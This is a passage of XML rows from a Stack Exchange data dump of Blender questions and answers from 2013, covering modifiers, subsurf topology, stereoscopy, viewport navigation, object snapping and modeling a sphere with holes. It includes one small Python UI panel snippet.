  <row Id="3198" PostTypeId="2" ParentId="3191" CreationDate="2013-10-06T13:06:41.993" Score="4" Body="&lt;p&gt;What causes the problem is the Mirror modifier in the shoes. The &lt;strong&gt;Vertex Groups&lt;/strong&gt; option of Mirror modifier is on by default, and it's unchanged here. That option mirrors weight in vertex groups with symmetrical names. That is, for every pair of vertex groups suffixed with &lt;code&gt;.L&lt;/code&gt; and &lt;code&gt;.R&lt;/code&gt;, Blender will just match vertex weights in both, even if you only assign weights to one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, Blender assumes the object's symmetry coincides with armature name symmetry, while your objects are not. Instead of mirroring the left shoe for the right shoe, thereby matches the armature's &lt;code&gt;shoe.L&lt;/code&gt; and &lt;code&gt;shoe.R&lt;/code&gt; and works as expected, you're &lt;em&gt;mirroring each half of each shoe&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is easy: For each foot, either delete the (unused) vertex group for the other foot, uncheck &lt;strong&gt;Vertex Groups&lt;/strong&gt; in the Mirror modifier's setting, or apply the Mirror modifier.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-10-06T13:06:41.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3199" PostTypeId="1" AcceptedAnswerId="3200" CreationDate="2013-10-06T17:35:15.803" Score="12" ViewCount="1516" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ox3sb.png&quot; alt=&quot;The top[ has some weird deformations&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is simple. I think that the strange deformations on the top are there because there are so many vertices in one face. How do I fix this while maintaining nice topology?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I triangulated the top polygon, the problem still persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n3sTZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="241" LastEditorDisplayName="user320" LastEditDate="2020-02-02T17:17:32.353" LastActivityDate="2020-02-02T17:17:32.353" Title="Why does subsurf modifier cause weird deformation at the end of a cylinder?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="3200" PostTypeId="2" ParentId="3199" CreationDate="2013-10-06T17:44:07.823" Score="6" Body="&lt;p&gt;Not to get too technical, this is because there is no supporting geometry at the edges where the vertices transition into the larger face &lt;em&gt;(the ngon)&lt;/em&gt; and the subsurf modifier will stretch these &lt;em&gt;(for lack of better words)&lt;/em&gt; giving the bumpy look.&lt;/p&gt;&#xA;&lt;p&gt;Two simple fixes are:&lt;/p&gt;&#xA;&lt;h2&gt;Extrude and scale the top edge ring in more to the center&lt;/h2&gt;&#xA;&lt;p&gt;Just select the top ring, hit &lt;kbd&gt;E&lt;/kbd&gt; and scale it in a bit to the center.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dez2s.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;OR&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Merge all the vertices on the top edge ring at the center&lt;/h2&gt;&#xA;&lt;p&gt;Select the top edge ring or the top face &lt;em&gt;(the ngon)&lt;/em&gt; and hit &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;. &lt;em&gt;&lt;strong&gt;You still need to add supporting geometry or the problem will persist&lt;/strong&gt;&lt;/em&gt;. An edge loop near the top edge ring should suffice. It's a flat hard surface so merging to tris should be fine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/miH8P.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-10-06T19:02:08.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3203" PostTypeId="2" ParentId="3199" CreationDate="2013-10-06T18:26:45.613" Score="3" Body="&lt;p&gt;I see two solutions for this. The first is grid fill. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zntZ4.png&quot; alt=&quot;grid fill&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nice quads all around. Make it like this. Delete the center ngon. Select the same amount of edges on opposite sides of the circle. Ideal is to select 1/4 of the total around the ring.&#xA;Hit space and type grid fill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yq1T8.png&quot; alt=&quot;grid fill howto&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way is to inset the center ngon almost to the center, like this. Some problems will probably stay, but they will be very tiny.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n2mDN.png&quot; alt=&quot;tiny center ngon&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-10-06T18:26:45.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3204" PostTypeId="2" ParentId="3199" CreationDate="2013-10-06T19:58:11.280" Score="6" Body="&lt;p&gt;Rule of successful subsurfing: surround corners with a row of faces on each side (like the green cylinder) so you always have one line of faces that connects to the flat part at 180°. That way you disconnect the subsurf from spreading too far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Ykvo.png&quot; alt=&quot;subsurf examples&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subsurf won't change a vertex's height if this vertex lies on a plane with all verts of all faces it is connected to. And then it doesn't matter how you fill the flat part, be it &lt;em&gt;Ngon&lt;/em&gt;, &lt;em&gt;Triangle Fan&lt;/em&gt; or a map of Louisiana. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least almost. All the inner verts will keep their height, but they are still moved in the other two dimensions according to the algorithm. While the orange part of the mesh is flat, everything green starts to bend down immediately so it's not necessarily a circular coast line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get a microscopically clean solution (which might be needed for reflections), a &lt;em&gt;Triangle Fan&lt;/em&gt; or yet another additional face line seems best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N1XaJ.png&quot; alt=&quot;Louisiana&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the horizontal edge line to the right. Since the inner verts have the same height as the corner verts, they keep their height and don't get pushed around (horizontally, but not vertically) which in turn means, the edge between them doesn't change either. Only the corners get bent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ViNVL.png&quot; alt=&quot;subsurf explanation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-06T21:39:59.930" LastActivityDate="2013-10-06T21:39:59.930" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3205" PostTypeId="1" AcceptedAnswerId="3206" CreationDate="2013-10-06T20:30:12.610" Score="6" ViewCount="2035" Body="&lt;p&gt;I see that blender supports &lt;a href=&quot;http://wiki.blender.org/index.php/User:Dfelinto/Stereoscopy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Steroscopy&lt;/a&gt; in the viewport. What kind of modes are there and which glasses are needed. I am not sure if this is considered off-topic but it is useful to know nevertheless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Display Modes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Anaglyph &lt;/li&gt;&#xA;&lt;li&gt;Interlace &lt;/li&gt;&#xA;&lt;li&gt;V-Interlace &lt;/li&gt;&#xA;&lt;li&gt;Side-by-Side &lt;/li&gt;&#xA;&lt;li&gt;Quad-Buffer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kejy5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="12" LastEditDate="2013-10-06T20:46:28.107" LastActivityDate="2015-01-08T18:19:33.423" Title="Blender Stereoscopy, What glasses" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3206" PostTypeId="2" ParentId="3205" CreationDate="2013-10-07T01:02:21.547" Score="7" Body="&lt;p&gt;This feature is not officially in Blender yet, but probably the behavior will not change when it is added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a regular monitor, only Anaglyph will give you the 3D effect, and for that you would use the typical red-cyan anaglyph glasses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other display modes are meant for 3D monitors or projectors, and you would pick the display mode that works for your device. Those devices would come with the appropriate glasses if they are needed.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-10-07T01:02:21.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3207" PostTypeId="1" AcceptedAnswerId="3209" CreationDate="2013-10-07T01:14:02.380" Score="3" ViewCount="712" Body="&lt;p&gt;You can sample the pixels of an image in a line with the &lt;em&gt;Sample Line&lt;/em&gt; option in &lt;em&gt;UV/Image editor &gt; Properties Region &gt; Sample Line&lt;/em&gt;, then dragging a line across an image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't figure out how to remove the line afterwards. (I can zoom out and sample a new line far away from the image so it is less distracting, but this can't be the right way to do it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to remove or hide the &lt;em&gt;sample line&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-10-07T01:50:31.997" Title="How to remove line sample?" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3208" PostTypeId="1" AcceptedAnswerId="3211" CreationDate="2013-10-07T01:37:40.230" Score="6" ViewCount="238" Body="&lt;p&gt;I like to render using the cycles in the viewport. To speed things up I use the render border (Ctrl+B) to mark a small region of interest. However when actually render (F12) the border is still there. I know that I can uncheck the box for border before I render. But is there a way to have the viewport use the render and when I go to main render it render the full resolution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DxJW0.png&quot; alt=&quot;Render border&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="241" LastEditDate="2020-03-13T19:32:38.130" LastActivityDate="2020-03-13T19:32:38.130" Title="Separate preview/render border settings possible?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;render-border&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3209" PostTypeId="2" ParentId="3207" CreationDate="2013-10-07T01:41:46.830" Score="3" Body="&lt;p&gt;Basically you have to re-initiate it and then cancel that operation.&#xA;If you have a line you can just &lt;kbd&gt;LMB&lt;/kbd&gt; on the button once to activate it then &lt;kbd&gt;RMB&lt;/kbd&gt; on it again.&#xA;You can also invoke the space-function search menu and search 'Sample Color' activate it and hit &lt;kbd&gt;ESC&lt;/kbd&gt; to cancel it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kJQSf.png&quot; alt=&quot;Sample Line&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorDisplayName="user320" LastEditDate="2013-10-07T01:48:37.710" LastActivityDate="2013-10-07T01:48:37.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3210" PostTypeId="2" ParentId="3207" CreationDate="2013-10-07T01:44:09.183" Score="1" Body="&lt;p&gt;Click the &lt;em&gt;Sample Line&lt;/em&gt; button again, then &lt;kbd&gt;RMB&lt;/kbd&gt; to cancel - and the previous line will be gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a button to directly remove it, edit the space_image.py script like shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class IMAGE_PT_sample_line(Panel):&#xA;    bl_space_type = 'IMAGE_EDITOR'&#xA;    bl_region_type = 'PREVIEW'&#xA;    bl_label = &quot;Sample Line&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        sima = context.space_data&#xA;        return (sima and sima.image)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        sima = context.space_data&#xA;        hist = sima.sample_histogram&#xA;&#xA;        # Add a remove button for sample line&#xA;        split = layout.split(0.9, align=True)&#xA;        split.operator(&quot;image.sample_line&quot;)&#xA;        sub = layout.row()&#xA;        sub.operator_context = 'EXEC_DEFAULT'&#xA;        split.operator(&quot;image.sample_line&quot;, icon='X', text=&quot;&quot;)&#xA;&#xA;        layout.template_histogram(sima, &quot;sample_histogram&quot;)&#xA;        row = layout.row(align=True)&#xA;        row.prop(hist, &quot;mode&quot;, expand=True)&#xA;        row.prop(hist, &quot;show_line&quot;, text=&quot;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-10-07T01:50:31.997" LastActivityDate="2013-10-07T01:50:31.997" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3211" PostTypeId="2" ParentId="3208" CreationDate="2013-10-07T01:59:42.957" Score="2" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;. However, &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.65/Cycles#User_Interaction&quot; rel=&quot;nofollow noreferrer&quot;&gt;as of blender 2.65&lt;/a&gt; you can use &lt;em&gt;Render Border&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;) while not in the &lt;em&gt;Camera view&lt;/em&gt;, which will only affect the viewport:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i12ld.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-07T05:46:08.673" LastActivityDate="2013-10-07T05:46:08.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3212" PostTypeId="1" AcceptedAnswerId="3221" CreationDate="2013-10-07T07:23:05.510" Score="17" ViewCount="15141" Body="&lt;p&gt;My latest attempt has involved a hexagon shape repeated with array modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nd4Ds.png&quot; alt=&quot;Hexagonal attempt with half sphere&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried wrapping this over a sphere with the shrinkwrap modifier, but that didn't seem to work so well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RMdPe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't get any better results by playing with the modifier offset or moving the two objects around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to model something like this, with smaller holes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7mUDD.jpg&quot; alt=&quot;Ideal model&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="12" LastEditDate="2013-10-07T12:20:40.420" LastActivityDate="2017-04-18T06:41:33.207" Title="How can I create a hollow sphere with regularly spaced holes?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="3214" PostTypeId="1" AcceptedAnswerId="3217" CreationDate="2013-10-07T09:37:36.390" Score="34" ViewCount="76532" Body="&lt;p&gt;This question relates to positioning static objects while modeling.  This is not a question about how to move objects dynamically/programmatically like in a game context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I need to translate the center of &lt;s&gt;mesh&lt;/s&gt; object A to the center of &lt;s&gt;mesh&lt;/s&gt; object B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done easily?&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-10-07T10:51:43.720" LastActivityDate="2018-06-01T04:13:54.613" Title="How can I quickly move/translate an object to the center location/position of another object in a static scene?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3215" PostTypeId="1" AcceptedAnswerId="3216" CreationDate="2013-10-07T09:47:33.073" Score="7" ViewCount="5084" Body="&lt;p&gt;While originally modeling a mesh, I was able to easily re-orient my view to inside of the mesh.  In the process, I made the following changes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;made the mesh completely hollow (removed some extraneous faces from the inside)&lt;/li&gt;&#xA;&lt;li&gt;added texture&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now I can't seem to navigate or zoom into the mesh like I was doing earlier.  All I can do is get ridiculously close to the outer surface.  Even in wireframe mode, I either can't do this or it seems as if everything is zoomed in much too close to do anything productive.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="12" LastEditDate="2013-10-07T12:56:53.837" LastActivityDate="2017-11-30T01:02:42.223" Title="Why can I no longer easily navigate inside of this mesh?" Tags="&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3216" PostTypeId="2" ParentId="3215" CreationDate="2013-10-07T10:33:14.950" Score="8" Body="&lt;p&gt;You're likely in Orthographic view, rather than Perspective View. Press &lt;kbd&gt;5&lt;/kbd&gt; on your numeric keypad to toggle between the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for some reason you want to stay in orthographic view and still see the inside of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hide faces that obscure the interior.&lt;/li&gt;&#xA;&lt;li&gt;Use mask modifier on meshes to mask out some geometry.&lt;/li&gt;&#xA;&lt;li&gt;Use view-clipping feature (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Invert the normals of your mesh (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;) and enable &lt;em&gt;backface culling&lt;/em&gt; in &lt;em&gt;3D view &gt; Properties&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="836" LastEditorUserId="599" LastEditDate="2014-09-15T01:41:48.047" LastActivityDate="2014-09-15T01:41:48.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3217" PostTypeId="2" ParentId="3214" CreationDate="2013-10-07T10:45:47.867" Score="41" Body="&lt;p&gt;Assuming that you have two distinct objects (rather than two unlinked meshes in the same object) and each object's origin is at the &quot;true&quot; center of the object (however you prefer to determine that), you would use the following process (in Object mode):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select object B&lt;/li&gt;&#xA;&lt;li&gt;Snap the 3D Cursor to object B's origin (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &gt; Cursor to Selected)&lt;/li&gt;&#xA;&lt;li&gt;Select object A&lt;/li&gt;&#xA;&lt;li&gt;Snap object A to the 3D Cursor's location (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &gt; Selection to Cursor)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can also use Blender's snapping tools to do some of this interactively, but the 3D Cursor is the most reliable way.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="836" LastEditDate="2013-10-07T20:23:26.383" LastActivityDate="2013-10-07T20:23:26.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3219" PostTypeId="1" AcceptedAnswerId="3297" CreationDate="2013-10-07T11:55:40.623" Score="20" ViewCount="27958" Body="&lt;p&gt;I'm making an python script which create a lot of object and this could take a lot of time. My question is how to show to the user of my script, the &quot;progression&quot; of the script?&#xA;For now I print an progress bar in the system console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you have to open the system console befor and (apparently) the system console only work with Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an other way to show the progression of my script with python like control the mouse percentage icon (the little icon that replace the mouse while baking) or another idea?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2015-12-29T15:17:14.280" Title="How to show to the user a progression in a script?" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3221" PostTypeId="2" ParentId="3212" CreationDate="2013-10-07T12:35:28.127" Score="21" Body="&lt;p&gt;One way is to Add an &lt;em&gt;Icosphere&lt;/em&gt;, select all verts, bevel (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;), extrude, and delete the extruded faces.&#xA;This will result in N-Gons but may be okay if you don't need to smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oj4uL.png&quot; alt=&quot;Select all Verts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9gsUV.png&quot; alt=&quot;Ctrl Shift B to Bevel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HGvlv.png&quot; alt=&quot;Extrude the faces in&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BlgPg.png&quot; alt=&quot;Delete the extruded Faces&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1251" LastEditorUserId="20508" LastEditDate="2016-07-25T19:39:15.040" LastActivityDate="2016-07-25T19:39:15.040" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3222" PostTypeId="2" ParentId="3212" CreationDate="2013-10-07T13:35:12.437" Score="23" Body="&lt;p&gt;Instead of the shrinkwrap, there's an older but more precise tool to turn verts into a sphere.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Put the 3D-Cursor where the center of your sphere whould be&lt;/li&gt;&#xA;&lt;li&gt;Select all verts&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Space&lt;/kbd&gt;, type 'to sphere' or press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, select that tool and hit &lt;kbd&gt;1&lt;/kbd&gt;, &lt;kbd&gt;Return&lt;/kbd&gt; to make it completely spherical. Most subsurfed spheres aren't really precise, so this tool changes that.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Here's my approach to this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a5JcH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Making the cookie cutter&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a mesh that has faces where you want the holes to be (I).&lt;/li&gt;&#xA;&lt;li&gt;Parent a Cylinder to the Sphere and enable Duplifaces for the sphere (II)&lt;/li&gt;&#xA;&lt;li&gt;Scale the Cylinder to the desired width&lt;/li&gt;&#xA;&lt;li&gt;Select the sphere and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to make the duplis real.&lt;/li&gt;&#xA;&lt;li&gt;Select all Duplis and Shift-Select the middle one, then hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to join them into one single mesh&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Making the sphere&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make a sphere to your liking. I used an Icosphere with applied subsurf modifier and 'To Sphere. While in Editmode I gave it depth by duplicating it, scling it in and flipping the normals, so the boolean modifier will be happy.&lt;/li&gt;&#xA;&lt;li&gt;Put the Cylinder object right where your sphere is and scale it so the cylinders intersect with both inner and outer surface of the sphere. Save your file.&lt;/li&gt;&#xA;&lt;li&gt;Give the sphere a boolean modifier, set it to Difference and put the cylinder mesh in the &lt;em&gt;Object&lt;/em&gt; field to perform the task.&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;em&gt;Apply&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Delete, hide or move the Cylinder mesh&lt;/li&gt;&#xA;&lt;li&gt;Give your sphere an &lt;em&gt;Edge Split&lt;/em&gt; modifier and set the shading to smooth.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The advantage is that it works with irregular shapes too.&lt;/p&gt;&#xA;&lt;h1&gt;Try this to get close to the example image&lt;/h1&gt;&#xA;&lt;p&gt;(Bevelling like Mark did is much faster. Do it like he suggested and skip to the bucky ball.)&lt;/p&gt;&#xA;&lt;p&gt;Start with a level one icosphere&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UBiCa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Subdivide it twice&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/thGMk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Select one corner vert and use &lt;em&gt;Select&lt;/em&gt; (or &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;) &amp;gt;&amp;gt; &lt;em&gt;Select Similar&lt;/em&gt; &amp;gt;&amp;gt; &lt;em&gt;Amount of Adjacent Faces&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y2WAu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dissolve the verts with &lt;kbd&gt;X&lt;/kbd&gt; &amp;gt;&amp;gt; Dissolve Vertices.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TCa5B.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enter &lt;em&gt;Face Select Mode&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Select one pentagon and this time use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;&amp;gt; Select Similar&lt;/em&gt; &amp;gt;&amp;gt; &lt;em&gt;Polygon Sides&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Invert the selection with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JqHhl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Get rid of the excess faces with &lt;kbd&gt;X&lt;/kbd&gt; &amp;gt;&amp;gt; &lt;em&gt;Limited Dissolve&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ypyHp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Select everything and hit the Smooth vertex button a few times. (This is the point to which you could jump if you followed Marks Tutorial. My approach is pre-vertex beveling)&lt;/p&gt;&#xA;&lt;p&gt;In vertex select mode, subdivide two times. This extra topology is useful to get a round sphere.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzA2Q.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inset individual faces (&lt;kbd&gt;I&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Delete the big faces with the help of &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;&amp;gt; select similar&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dvoyv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Subdivide again. Select everything and use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&amp;gt; To 